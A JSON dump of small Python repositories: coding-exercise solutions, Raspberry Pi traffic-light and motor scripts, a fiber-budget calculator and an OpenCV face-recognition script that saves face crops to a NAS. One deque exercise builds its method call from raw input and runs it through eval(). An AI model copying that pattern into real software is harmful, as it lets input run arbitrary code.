"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 382,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 18,
"path": "/itertools_maximize_it.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from itertools import product\n\nif __name__ == '__main__':\n k, m = input().split()\n k, m = int(k), int(m)\n arr = []\n for i in range(k):\n a = list(map(int, input().split()))\n a = a[1:]\n arr.append(a)\n\n max_sum = 0\n\n for l in product(*arr):\n s = sum([x**2 for x in l])%m\n max_sum = s if s > max_sum else max_sum\n\n print(max_sum)\n"
},
{
"alpha_fraction": 0.47398844361305237,
"alphanum_fraction": 0.4826589524745941,
"avg_line_length": 22.133333206176758,
"blob_id": "1efde9f775f2ba780f48b787a646b91267cb77b7",
"content_id": "4b3c79c7ad943efe2b1aca2cbbe62b2e019174aa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 346,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 15,
"path": "/nested_lists.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "def main():\n arr = [[input(), float(input())] for _ in range(int(input()))]\n arr.sort(key = lambda x: x[0])\n arr.sort(key = lambda x: x[1], reverse = True)\n\n l = [v for n, v in arr ]\n l = list(set(l))\n l.sort()\n\n for name, score in arr:\n if score == l[1]:\n print(name)\n\nif __name__ == '__main__':\n main()"
},
{
"alpha_fraction": 0.591549277305603,
"alphanum_fraction": 0.591549277305603,
"avg_line_length": 25.625,
"blob_id": "126871d5d989706daae70b3d0461c5c9f6f724c7",
"content_id": "89b138b3c8e2eff801c56e90e6356bac2367862e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 213,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 8,
"path": "/itertools_combinations_with_replacement.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from itertools import combinations_with_replacement\n\nif __name__ == '__main__':\n a, b = input().split()\n a, b = sorted(a), int(b)\n\n for j in combinations_with_replacement(a, b):\n print(\"\".join(j))\n"
},
{
"alpha_fraction": 0.5031055808067322,
"alphanum_fraction": 0.5341615080833435,
"avg_line_length": 25.83333396911621,
"blob_id": "fefc2110c527bee86b67f85ec662db5f3701a086",
"content_id": "66b8652be607dbde77411340036d9f2cf718d276",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 322,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 12,
"path": "/symetric_difference.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "def sym_diff(s1, s2):\n uni = s1.union(s2)\n inter = s2.intersection(s1)\n sd = list(uni.difference(inter))\n sd.sort()\n for i in sd:\n print(i)\n\n\nif __name__ == '__main__':\n n, a1, m, a2 = int(input()), set(map(int, input().split())), int(input()), set(map(int, input().split()))\n sym_diff(a1, a2)\n"
},
{
"alpha_fraction": 0.36565977334976196,
"alphanum_fraction": 0.37201908230781555,
"avg_line_length": 21.464284896850586,
"blob_id": "e370b365dde9c7255b4f23699899930a65ac2f91",
"content_id": "74eb8733468499c3f6d84dd386bdec56821e451b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 629,
"license_type": "no_license",
"max_line_length": 45,
"num_lines": 28,
"path": "/collections_piling_up.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "import sys\nfrom collections import deque\n\nif __name__ == '__main__':\n T = int(input())\n for i in range(T):\n n = int(input())\n dq = deque(map(int, input().split()))\n\n max_length = sys.maxsize\n ans = 'Yes'\n\n while len(dq) > 0:\n if len(dq) == 1:\n item = dq.pop()\n else:\n\n if dq[0] > dq[-1]:\n item = dq.popleft()\n else:\n item = dq.pop()\n\n if max_length < item:\n ans = 'No'\n else:\n max_length = item\n\n print(ans)\n"
},
{
"alpha_fraction": 0.4790874421596527,
"alphanum_fraction": 0.48669201135635376,
"avg_line_length": 22.909090042114258,
"blob_id": "ab03552dc43b66ce06e85c4b6062c9d18d9cf812",
"content_id": "529090af908702c63803720911223417341991b3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 263,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 11,
"path": "/collection_deque.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from collections import deque\n\nif __name__ == '__main__':\n n = int(input())\n dq = deque()\n for i in range(n):\n command = input().split()\n # i_val = int(val) if val else ''\n eval('dq.{0}({1})'.format(*command + ['']))\n\n print(*dq)\n"
},
{
"alpha_fraction": 0.3835616409778595,
"alphanum_fraction": 0.3835616409778595,
"avg_line_length": 12.15999984741211,
"blob_id": "46f58b73d12afa16dbac95d0e9c92eba29f498f8",
"content_id": "2ab53cf8a9d645b94257a16718b99b535f8e08e9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 657,
"license_type": "no_license",
"max_line_length": 26,
"num_lines": 50,
"path": "/string_validators.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "def main():\n s = input()\n\n ans = False\n\n for c in s:\n if c.isalnum():\n ans = True\n break\n\n print(ans)\n \n ans = False\n\n for c in s:\n if c.isalpha():\n ans = True\n break\n\n print(ans)\n \n ans = False\n\n for c in s:\n if c.isdigit():\n ans = True\n break\n\n print(ans)\n \n ans = False\n\n for c in s:\n if c.islower():\n ans = True\n break\n\n print(ans)\n \n ans = False\n\n for c in s:\n if c.isupper():\n ans = True\n break\n\n print(ans)\n\nif __name__ == '__main__':\n main()"
},
{
"alpha_fraction": 0.46411484479904175,
"alphanum_fraction": 0.46889951825141907,
"avg_line_length": 21.052631378173828,
"blob_id": "295f012d358dd31f3d0517b368a4afafa91ccc0d",
"content_id": "466e15fcc3360d16d5a29aef4732aa4067661d49",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 418,
"license_type": "no_license",
"max_line_length": 36,
"num_lines": 19,
"path": "/minion_game.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "def main():\n st = input()\n stu_score = 0\n kev_score = 0\n for i in range(len(st)):\n if st[i] in \"AEIOU\":\n kev_score += len(st) - i\n else:\n stu_score += len(st) - i\n\n if stu_score == kev_score:\n print('Draw')\n elif stu_score > kev_score:\n print(f'Stuart {stu_score}')\n else:\n print(f'Kevin {kev_score}')\n\nif __name__ == '__main__':\n main()"
},
{
"alpha_fraction": 0.45980706810951233,
"alphanum_fraction": 0.4662379324436188,
"avg_line_length": 18.4375,
"blob_id": "39c618744d3e780f384bdd72cd82b11941abb9f0",
"content_id": "8aa81da972f5294f2c09a20f29e702763e1e46ba",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 311,
"license_type": "no_license",
"max_line_length": 36,
"num_lines": 16,
"path": "/counter_default_dict.py",
"repo_name": "ygretharekar/python_practice",
"src_encoding": "UTF-8",
"text": "from collections import defaultdict\n\nif __name__ == '__main__':\n n, m = map(int, input().split())\n\n dd = defaultdict(list)\n\n for i in range(n):\n dd[input()].append(i + 1)\n\n for i in range(m):\n c = input()\n if dd[c]:\n print(*dd[c])\n else:\n print(-1)\n"
}
] | 33 |
dharmit/secure | https://github.com/dharmit/secure | 7a75321132557a30c85a37c146be5cb8d7a7288e | 0fb3af3c1c41240d6ed3fddb9aac969c464fad60 | 7257b6e133f5bf3857172486765ad54512c3d5a7 | refs/heads/master | 2016-09-02T00:37:54.701533 | 2014-04-18T06:41:46 | 2014-04-18T06:41:46 | 17,984,812 | 2 | 1 | null | null | null | null | null | [
{
"alpha_fraction": 0.5645321607589722,
"alphanum_fraction": 0.5705043077468872,
"avg_line_length": 33.25,
"blob_id": "34ae6430d24ab4a1c8e3e09150645400f39008ab",
"content_id": "9447857e383a01dc3633f7c6b1d9523747790adc",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6028,
"license_type": "permissive",
"max_line_length": 79,
"num_lines": 176,
"path": "/secure.py",
"repo_name": "dharmit/secure",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n\"\"\"secure.py checks /var/log/secure for new occurrences of \"Failed password\"\nmesages and generates notification for new break-in attempts on the system. I\nalso plan to add a feature to drop any traffic from an IP that has attempted to\nbreak-in more than configured times.\"\"\"\n\nimport os\nimport pygtk\npygtk.require('2.0')\nimport pynotify\nimport sqlite3\nimport subprocess\nimport sys\nimport time\n\n\n# initially set to 0, MTIME keeps a track of the latest modification time for\n# /var/log/secure file\n\nMTIME = 0\nLASTROWID = 0\nHOME = os.environ['HOME']\n\ndef database_exists():\n global HOME\n return os.path.exists(HOME + \"/var/var_log_secure.db\") \n\n\ndef create_database():\n \"\"\"We will create two databases. One for logging the details of attempt\n like date & ip while another for keeping a track of number of attempts made\n from a particular IP. In future we plan to drop all packets coming from an\n IP that has made X (say, 5) attempts using firewall rules.\n \"\"\"\n global HOME\n try:\n db = sqlite3.connect(HOME + \"/var/var_log_secure.db\")\n cursor = db.cursor()\n cursor.execute('''CREATE TABLE IF NOT EXISTS\n attempts(id INTEGER PRIMARY KEY, hour INTEGER, minute\n INTEGER, second INTEGER, day INTEGER, month INTEGER,\n year INTEGER, ip TEXT)''')\n db.commit()\n except Exception as e:\n raise e\n finally:\n db.close()\n\n\ndef exists_in_db(data):\n \"\"\" Code in this function will fetch the last entry in the db. This is\n is helpful in figuring out if the data parsed by the program is newer\n than the existing db entries.\"\"\"\n global HOME\n try:\n db = sqlite3.connect(HOME + \"/var/var_log_secure.db\")\n cursor = db.cursor()\n cursor.execute(\"SELECT id from attempts where hour=? and minute=? and \\\n second=? and day=? and month=? and year=? and ip=?\",\\\n (data[\"hour\"], data[\"minute\"], data[\"second\"],\\\n data[\"day\"], data[\"month\"], data[\"year\"], data[\"ip\"],))\n id = cursor.fetchone()\n except Exception as e:\n raise e\n finally:\n db.close()\n if id:\n return True\n return False\n\n\ndef insert_into_db(data):\n \"\"\" This funtion inserts into the database the break-in attempts that are\n newer than the last one as returned by fetch_last_from_db() function\"\"\"\n global LASTROWID\n global HOME\n day, month, year, hour, minute, second = data[\"day\"], data[\"month\"],\\\n data[\"year\"], data[\"hour\"],\\\n data[\"minute\"], data[\"second\"]\n user, ip = data[\"user\"], data[\"ip\"]\n\n if not exists_in_db(data):\n try:\n db1 = sqlite3.connect(HOME + \"/var/var_log_secure.db\")\n cursor1 = db1.cursor()\n cursor1.execute(\"INSERT INTO attempts(hour, minute, second, day,\\\n month, year, ip) VALUES(?, ?, ?, ?, ?, ?, ?)\", \\\n (hour, minute, second, day, month, year, ip))\n db1.commit()\n new_attempts_from_last(data)\n except Exception as e:\n db1.rollback()\n raise e\n finally:\n db1.close()\n \n\ndef new_attempts_from_last(data):\n \"\"\"This function will determine the break-in attempts newer than the last\n break-in attempt\"\"\"\n t = data['ip'] + \" tried to login at \" + str(data['hour']) + ':'+ \\\n str(data['minute']) + \":\"+ str(data['second'])\n t = str(t)\n if not pynotify.init(\"Break-in attempt\"):\n sys.exit(1)\n n = pynotify.Notification(\"Break-in Attempt\", t)\n try:\n n.show()\n except Exception as e:\n print e\n \n\ndef database_operations(date, msg):\n \"\"\" Initialy part of this code takes care of splitting 'msg' into chunks\n useful for dataabase. Next it calls various db related functions to insert\n the data or retrieve details of last known attempt.\"\"\"\n\n time_of_attempt = msg[0].split('T')[1].split(':')\n time_of_attempt[2] = int(float(time_of_attempt[2].split('+')[0]))\n\n year, month, day = date[0], date[1], date[2]\n hour, minute, second = time_of_attempt[0], time_of_attempt[1],\\\n time_of_attempt[2]\n user, ip = msg[6], msg[8]\n data = {\"year\" : int(year), \"month\" : int(month), \"day\" : int(day), \"ip\" :\n ip, \"user\" : user, \"hour\" : int(hour), \"minute\" : int(minute),\n \"second\" : int(second)}\n insert_into_db(data)\n\n\ndef check_for_failed_password(list_of_readlines):\n l = list_of_readlines\n for i in range(len(l)):\n if ' '.join(l[i].split(' ')[3:6]) == 'Failed password for':\n x = l[i].split('T') # Temporary variable to fetch date.\n date = x[0].split('-')\n message = l[i].split(' ')\n database_operations(date, message)\n else:\n continue\n\n\ndef scan_var_log_secure():\n global MTIME\n new_MTIME = os.path.getmtime(\"/var/log/secure\")\n if MTIME == new_MTIME:\n return\n else:\n list_of_readlines = []\n try:\n with open('/var/log/secure') as f:\n list_of_readlines = f.readlines()\n check_for_failed_password(list_of_readlines)\n except IOError as e:\n print \"You do not have enough permissions to access the file.\\n\" \\\n \"If you are running as a non-root user, set proper ACL on \"\\\n \"the /var/log/secure file: setfacl -m u:user:r \"\\\n \"/var/log/secure and run again\\n\"\n sys.exit(1)\n\n MTIME = new_MTIME\n\n\ndef main():\n if not database_exists():\n create_database()\n scan_var_log_secure()\n sys.exit()\n\nif __name__ == \"__main__\":\n if os.path.exists(\"/var/log/secure\"):\n sys.exit(main())\n else:\n print '/var/log/secure does not exist. Make sure the file exists and '\\\n 'try again later.'\n sys.exit(1)\n"
},
{
"alpha_fraction": 0.7178167104721069,
"alphanum_fraction": 0.7301750779151917,
"avg_line_length": 33.67856979370117,
"blob_id": "19bf23390b279d650fba38b4c667f1806eb3ab17",
"content_id": "e071b64c0e68ef18ed75dafb91ed515ab23329a3",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 971,
"license_type": "permissive",
"max_line_length": 267,
"num_lines": 28,
"path": "/README.md",
"repo_name": "dharmit/secure",
"src_encoding": "UTF-8",
"text": "secure\n======\n\nPython program that keeps an eye on `/var/log/secure` and reports \"Failed password\" attempts.\n\nFeatures:\n--------\n* Checks the file `/var/log/secure` every minute for new occurrence of **Failed password** message(s).\n* If new attempt is found, it stores details in the SQLite database.\n* After adding details to the database, it raises a desktop notification informing the user about the break-in attempt.\n\nRequirements:\n------------\nTo obtain expected results using `secure`, you need to configure `rsyslog` to log dates compatible with RFC 3146. This is because by default `rsyslog` doesn't log year in the messages. To enable RFC 3146 compatibility, comment out below line from `/etc/rsyslog.conf`:\n~~~\n$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat\n~~~\nand add below two lines:\n~~~\n$template RFC3164fmt,\"<%PRI%>%TIMESTAMP% %HOSTNAME% %syslogtag%%msg%\"\n*.* /var/log/all-messages.log;ExampleFormat\"\n~~~\n\nUsage:\n------\n~~~\n$python secure.py\n~~~\n"
}
] | 2 |
TygeB/TygeB | https://github.com/TygeB/TygeB | 532bd7269cf6d34fcee7cad53a694efd61ca604d | d69bb6a70e61931f9c3678f44785832665bec93e | 93aef26f678a8e66bfed8541cbe21991265b22e6 | refs/heads/master | 2020-09-17T01:48:21.281323 | 2019-12-17T12:16:50 | 2019-12-17T12:16:50 | 223,951,828 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.39309683442115784,
"alphanum_fraction": 0.4410354793071747,
"avg_line_length": 15.265625,
"blob_id": "b98cb8165034715d87abdc4f0845b160ed1d3439",
"content_id": "423f17303117e9ea772cefe07b1607f608b566e1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1069,
"license_type": "no_license",
"max_line_length": 30,
"num_lines": 64,
"path": "/lyskryds2.py",
"repo_name": "TygeB/TygeB",
"src_encoding": "UTF-8",
"text": "from time import sleep\nfrom gpiozero import LED\n\ntid1 = 2\ntid2 = 4\n\nrød1 = LED(13)\nrød2 = LED(22)\ngul1 = LED(19)\ngul2 = LED(27)\ngrøn1 = LED(26)\ngrøn2 = LED (17)\n\ndef rr(x):\n global tid1\n global tid2\n \n if x==\"rød\":\n x=\"bliv ns\"\n rød1.on()\n rød2.on()\n sleep(tid1)\n return ns(x)\n elif x==\"røød\":\n x=\"bliv øv\"\n rød1.on()\n rød2.on()\n sleep(tid1)\n return øv(x)\n \ndef ns(x):\n if x==\"bliv ns\":\n x=\"røød\"\n gul1.on()\n sleep(tid1)\n rød1.off()\n gul1.off()\n grøn1.on()\n sleep(tid2)\n grøn1.off()\n gul1.on()\n sleep(tid1)\n gul1.off()\n return rr(x)\n \n \ndef øv(x):\n if x==\"bliv øv\":\n x=\"rød\"\n gul2.on()\n sleep(tid1)\n rød2.off()\n gul2.off()\n grøn2.on()\n sleep(tid2)\n grøn2.off()\n gul2.on()\n sleep(tid1)\n gul2.off()\n return rr(x) \n \n \nstate=rr(x=\"rød\")\nwhile state: state=rr(x=\"rød\")\n\n\n"
},
{
"alpha_fraction": 0.565625011920929,
"alphanum_fraction": 0.609375,
"avg_line_length": 17.823530197143555,
"blob_id": "e82c4c1d24f84c135f9296c128ecbb251eb7d692",
"content_id": "2748f66aa8d35f1304c3196313da2a6594d0092a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 323,
"license_type": "no_license",
"max_line_length": 28,
"num_lines": 17,
"path": "/motor.py",
"repo_name": "TygeB/TygeB",
"src_encoding": "UTF-8",
"text": "def motorstart():\n import RPi.GPIO as GPIO\n from time import sleep\n from gpiozero import LED\n grøn = LED (17)\n\n GPIO.setwarnings(False)\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(18, GPIO.OUT)\n GPIO.output(18, 1)\n\n\n GPIO.output(18, 0)\n grøn.on()\n sleep(1)\n GPIO.output(18, 1)\n grøn.off()\n"
},
{
"alpha_fraction": 0.5421979427337646,
"alphanum_fraction": 0.563145101070404,
"avg_line_length": 31.613861083984375,
"blob_id": "9631bb97712e9c7eea2552499b20ee3381401bd4",
"content_id": "6b5b3833670bbeae873f25d96cbb29396fef855e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3299,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 101,
"path": "/optisk fiberbudget.py",
"repo_name": "TygeB/TygeB",
"src_encoding": "UTF-8",
"text": "wh=1\ns=Sikkerhedsmargin=3\nr=Reperationer=0.5\ndef prmenu():\n print(\"1)MM 850nm\")\n print(\"2)MM 1300nm\")\n print(\"3)SM 1310nm\")\n print(\"4)SM 1550nm\")\n print(\"5)stop program\")\nprmenu()\nMenunr=int(input(\"vælg menu nr.\"))\n\n\nwhile wh == 1:\n if Menunr==1:\n x=float(input(\"indtast afsendersignal\"))\n y=float(input(\"indtast modtagersignal\"))\n print(\"Bruttuoverskud=\"+str(x-y))\n br=float(x-y)\n a=int(input(\"indtast antal splidsninger\"))\n b=int(input(\"indtast antal konnekteringer\"))\n km=float(input(\"indtast antal km fiber\"))\n sp=float(a*0.1)\n print(\"splidsninger i db=\",sp)\n k=float(b*0.5)\n print(\"konnektering i db=\",k)\n lm=float(2.2*km+k+sp)\n print(\"linkmargin=\",2.2*km+k+sp)\n print(\"sikkerhedmargin=\",s)\n print(\"reperation=\",r)\n print(\"Netto overskud=\",br-lm-s-r)\n print(\"du har valgt menu nr. 1\")\n prmenu()\n Menunr=int(input(\"vælg menu nr.\"))\n\n if Menunr==2:\n x=float(input(\"indtast afsendersignal\"))\n y=float(input(\"indtast modtagersignal\"))\n print(\"Bruttuoverskud=\"+str(x-y))\n br=float(x-y)\n a=int(input(\"indtast antal splidsninger\"))\n b=int(input(\"indtast antal konnekteringer\"))\n km=float(input(\"indtast antal km fiber\"))\n sp=float(a*0.1)\n print(\"splidsninger i db=\",sp)\n k=float(b*0.5)\n print(\"konnektering i db=\",k)\n lm=float(0.6*km+k+sp)\n print(\"linkmargin=\",0.6*km+k+sp)\n print(\"sikkerhedmargin=\",s)\n print(\"reperation=\",r)\n print(\"Netto overskud=\",br-lm-s-r)\n print(\"du har valgt menu nr. 2\")\n prmenu()\n Menunr=int(input(\"vælg menu nr.\"))\n\n if Menunr==3:\n x=float(input(\"indtast afsendersignal\"))\n y=float(input(\"indtast modtagersignal\"))\n print(\"Bruttuoverskud=\"+str(x-y))\n br=float(x-y)\n a=int(input(\"indtast antal splidsninger\"))\n b=int(input(\"indtast antal konnekteringer\"))\n km=float(input(\"indtast antal km fiber\"))\n sp=float(a*0.1)\n print(\"splidsninger i db=\",sp)\n k=float(b*0.5)\n print(\"konnektering i db=\",k)\n lm=float(0.35*km+k+sp)\n print(\"linkmargin=\",0.35*km+k+sp)\n print(\"sikkerhedmargin=\",s)\n print(\"reperation=\",r)\n print(\"Netto overskud=\",br-lm-s-r)\n print(\"du har valgt menu nr. 3\")\n prmenu()\n Menunr=int(input(\"vælg menu nr.\"))\n\n if Menunr==4:\n x=float(input(\"indtast afsendersignal\"))\n y=float(input(\"indtast modtagersignal\"))\n print(\"Bruttuoverskud=\"+str(x-y))\n br=float(x-y)\n a=int(input(\"indtast antal splidsninger\"))\n b=int(input(\"indtast antal konnekteringer\"))\n km=float(input(\"indtast antal km fiber\"))\n sp=float(a*0.1)\n print(\"splidsninger i db=\",sp)\n k=float(b*0.5)\n print(\"konnektering i db=\",k)\n lm=float(0.2*km+k+sp)\n print(\"linkmargin=\",0.2*km+k+sp)\n print(\"sikkerhedmargin=\",s)\n print(\"reperation=\",r)\n print(\"Netto overskud=\",br-lm-s-r)\n print(\"du har valgt menu nr. 3\")\n prmenu()\n Menunr=int(input(\"vælg menu nr.\"))\n\n if Menunr==5:\n print(\"programmet stopper\")\n wh = 2\n"
},
{
"alpha_fraction": 0.5348709225654602,
"alphanum_fraction": 0.5612301230430603,
"avg_line_length": 26.134328842163086,
"blob_id": "35bb68f9effd0b644c1d236d58005014fbc3f20a",
"content_id": "b569108ed36aff0f19a29c139da367c8aa570528",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1821,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 67,
"path": "/faces.py",
"repo_name": "TygeB/TygeB",
"src_encoding": "UTF-8",
"text": "import numpy as np\nimport cv2\nimport pickle\nimport time\nimport RPi.GPIO as GPIO\nimport datetime\nimport motor\nfrom time import sleep\n \nface_cascade = cv2.CascadeClassifier('cascades/data/haarcascade_frontalface_alt2.xml')\nrecognizer = cv2.face.LBPHFaceRecognizer_create()\nrecognizer.read(\"trainner.yml\")\n\nlabels = {\"person_name\": 1}\nwith open(\"labels.pickle\", 'rb') as f:\n og_labels = pickle.load(f)\n labels = {v:k for k,v in og_labels.items()}\n \n\n\ncap = cv2.VideoCapture(0)\n\n\nwhile(True):\n ret, frame = cap.read()\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray, scaleFactor=1.5, minNeighbors=5)\n for (x, y, w, h) in faces:\n #print(x,y,w,h)\n roi_gray = gray[y:y+h, x:x+w]\n roi_color = frame[y:y+h, x:x+w]\n \n id_, conf = recognizer.predict(roi_gray)\n if conf>=60 and conf <=95:\n motor.motorstart()\n print(conf)\n print(id_)\n print(labels[id_])\n font = cv2.FONT_HERSHEY_SIMPLEX\n name = labels[id_]\n color = (255, 255, 255)\n stroke = 2\n cv2.putText(frame, name, (x,y),font, 1, color, stroke, cv2.LINE_AA)\n \n \n \n filename = datetime.datetime.now().strftime(name + \", %Y-%m-%d-%H.%M.%S.jpg\")\n \n img_item = filename \n cv2.imwrite('/nas/billeder_fra_ansigtgenkendelse/' + filename, roi_gray)\n \n \n color = (255, 0, 0)\n stroke = 2\n end_cord_x = x + w\n end_cord_y = y + h \n cv2.rectangle(frame, (x, y), (end_cord_x, end_cord_y), color, stroke)\n cv2.imshow('frame',frame)\n if cv2.waitKey(20) & 0xFF == ord('q'):\n GPIO.output(18, 1)\n break\n \n \n\n\ncap.release()\ncv2.destroyAllWindows()\n\n\n\n"
}
] | 4 |
pranjals149/Python | https://github.com/pranjals149/Python | 3286ff88f8b636da3c86e6359f01926919faf8fb | 14660ca451bbfc495f5890ee17a6ea5b9ad3a0de | a24a8a75d15e08100f92ad28339d7c1bf05181fc | refs/heads/master | 2022-11-11T00:57:21.283862 | 2020-07-02T08:35:46 | 2020-07-02T08:35:46 | 274,462,147 | 0 | 1 | null | null | null | null | null | [
{
"alpha_fraction": 0.640625,
"alphanum_fraction": 0.6442307829856873,
"avg_line_length": 24.838708877563477,
"blob_id": "37915c569389a636fc1d3b23993bf8cf23496ef0",
"content_id": "612702f9dd477bfb375aee064bdc378aebcaa97f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 834,
"license_type": "no_license",
"max_line_length": 122,
"num_lines": 31,
"path": "/Day 63 - Problem Solving/Birthday_Cake_Candles.py",
"repo_name": "pranjals149/Python",
"src_encoding": "UTF-8",
"text": "# You are in charge of the cake for your niece's birthday and have decided the cake will have one candle for each year of \r\n# her total age. When she blows out the candles, she’ll only be able to blow out the tallest ones. Your task is to find \r\n# out how many candles she can successfully blow out.\r\n\r\n\r\n#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n# Complete the birthdayCakeCandles function below.\r\ndef birthdayCakeCandles(ar):\r\n count = 0\r\n for i in range(len(ar)):\r\n if ar[i] == max(ar): count += 1\r\n return count\r\nif __name__ == '__main__':\r\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\r\n\r\n ar_count = int(input())\r\n\r\n ar = list(map(int, input().rstrip().split()))\r\n\r\n result = birthdayCakeCandles(ar)\r\n\r\n fptr.write(str(result) + '\\n')\r\n\r\n fptr.close()\r\n"
},
{
"alpha_fraction": 0.6721868515014648,
"alphanum_fraction": 0.6802547574043274,
"avg_line_length": 36.6065559387207,
"blob_id": "9e5ea356344be83aff69f77a52454e425c759cd2",
"content_id": "bd363a9b6940e6a775b00035905043ef452c5c12",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2355,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 61,
"path": "/Day71/FreeBodyObjects.py",
"repo_name": "pranjals149/Python",
"src_encoding": "UTF-8",
"text": "#To start, create a class called Force. The constructor for\r\n#Force should have two required arguments: magnitude and\r\n#angle. These should be saved to two attributes called\r\n#'magnitude' and 'angle'. You should assume angle is\r\n#initially in degrees, from -180 to 180.\r\n\r\n#Then, add three methods to Force:\r\n\r\n# - get_horizontal should return the horizontal component\r\n# of the force, according to the formula:\r\n# horizontal = magnitude * cos(angle).\r\n# - get_vertical should return the vertical component of\r\n# the force, according to the formula:\r\n# vertical = magnitude * sin(angle).\r\n# - get_angle should return the angle of the force, but\r\n# should have a keyword parameter called use_degrees.\r\n# use_degrees should default to True. If use_degrees\r\n# is true, it should return the angle in degrees; if it\r\n# is false, it should return the angle in radians.\r\n#\r\n#HINT: Don't overcomplicate this. All we want here is\r\n#a class called Force with four methods: __init__,\r\n#get_horizontal, get_vertical, and get_angle. Note that\r\n#these are not true \"getters\" even though they have \"get\"\r\n#in their names: all three will have some reasoning\r\n#beyond just returning a single value.\r\n#\r\n#HINT 2: angle will initially be passed into the\r\n#constructor in degrees. You may store it in either\r\n#degrees or radians. Each approach has different benefits,\r\n#but make sure to keep track of when it's in angles and\r\n#when it's in degrees.\r\n\r\nfrom math import sin, cos, atan2, radians, degrees, sqrt\r\n\r\nclass Force:\r\n def __init__(self, magnitude, angle):\r\n self.magnitude = magnitude\r\n self.angle = angle\r\n \r\n def get_horizontal(self):\r\n horizontal = self.magnitude * cos(self.angle)\r\n return horizontal\r\n\r\n def get_vertical(self):\r\n vertical = self.magnitude * sin(self.angle)\r\n return vertical\r\n \r\n def get_angle(self, use_degrees = True):\r\n if use_degrees == True: return self.angle\r\n else: \r\n pi = 22/7\r\n radian = self.angle * (pi/180)\r\n return radian\r\n\r\na_force = Force(500, 60)\r\nprint(\"Magnitude:\", a_force.magnitude)\r\nprint(\"Horizontal:\", a_force.get_horizontal())\r\nprint(\"Vertical:\", a_force.get_vertical())\r\nprint(\"Angle in Degrees:\", a_force.get_angle())\r\nprint(\"Angle in Radians:\", a_force.get_angle(use_degrees = False))\r\n"
},
{
"alpha_fraction": 0.5985533595085144,
"alphanum_fraction": 0.6039782762527466,
"avg_line_length": 20.1200008392334,
"blob_id": "dc52af78930f7a890f55af2e20e0947638d69ad2",
"content_id": "c53ba816ba47a5837475dee3941e1e5323be241e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 553,
"license_type": "no_license",
"max_line_length": 151,
"num_lines": 25,
"path": "/Day 63 - Problem Solving/Staircase.py",
"repo_name": "pranjals149/Python",
"src_encoding": "UTF-8",
"text": "# Consider a staircase of size :\r\n #\r\n ##\r\n ###\r\n####\r\n# Observe that its base and height are both equal to n, and the image is drawn using # symbols and spaces. The last line is not preceded by any spaces.\r\n# Write a program that prints a staircase of size n.\r\n\r\n#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n# Complete the staircase function below.\r\ndef staircase(n):\r\n for i in range(1, n + 1):\r\n print(' ' * (n - i) + '#' * i)\r\n\r\nif __name__ == '__main__':\r\n n = int(input())\r\n\r\n staircase(n)\r\n"
},
{
"alpha_fraction": 0.4936548173427582,
"alphanum_fraction": 0.5114213228225708,
"avg_line_length": 20.514286041259766,
"blob_id": "077232f8d29a90098afead3fc461e725c1768498",
"content_id": "f503368081f1892e4fedccaf4d797709b20973e9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 788,
"license_type": "no_license",
"max_line_length": 114,
"num_lines": 35,
"path": "/Day 63 - Problem Solving/Plus_Minus.py",
"repo_name": "pranjals149/Python",
"src_encoding": "UTF-8",
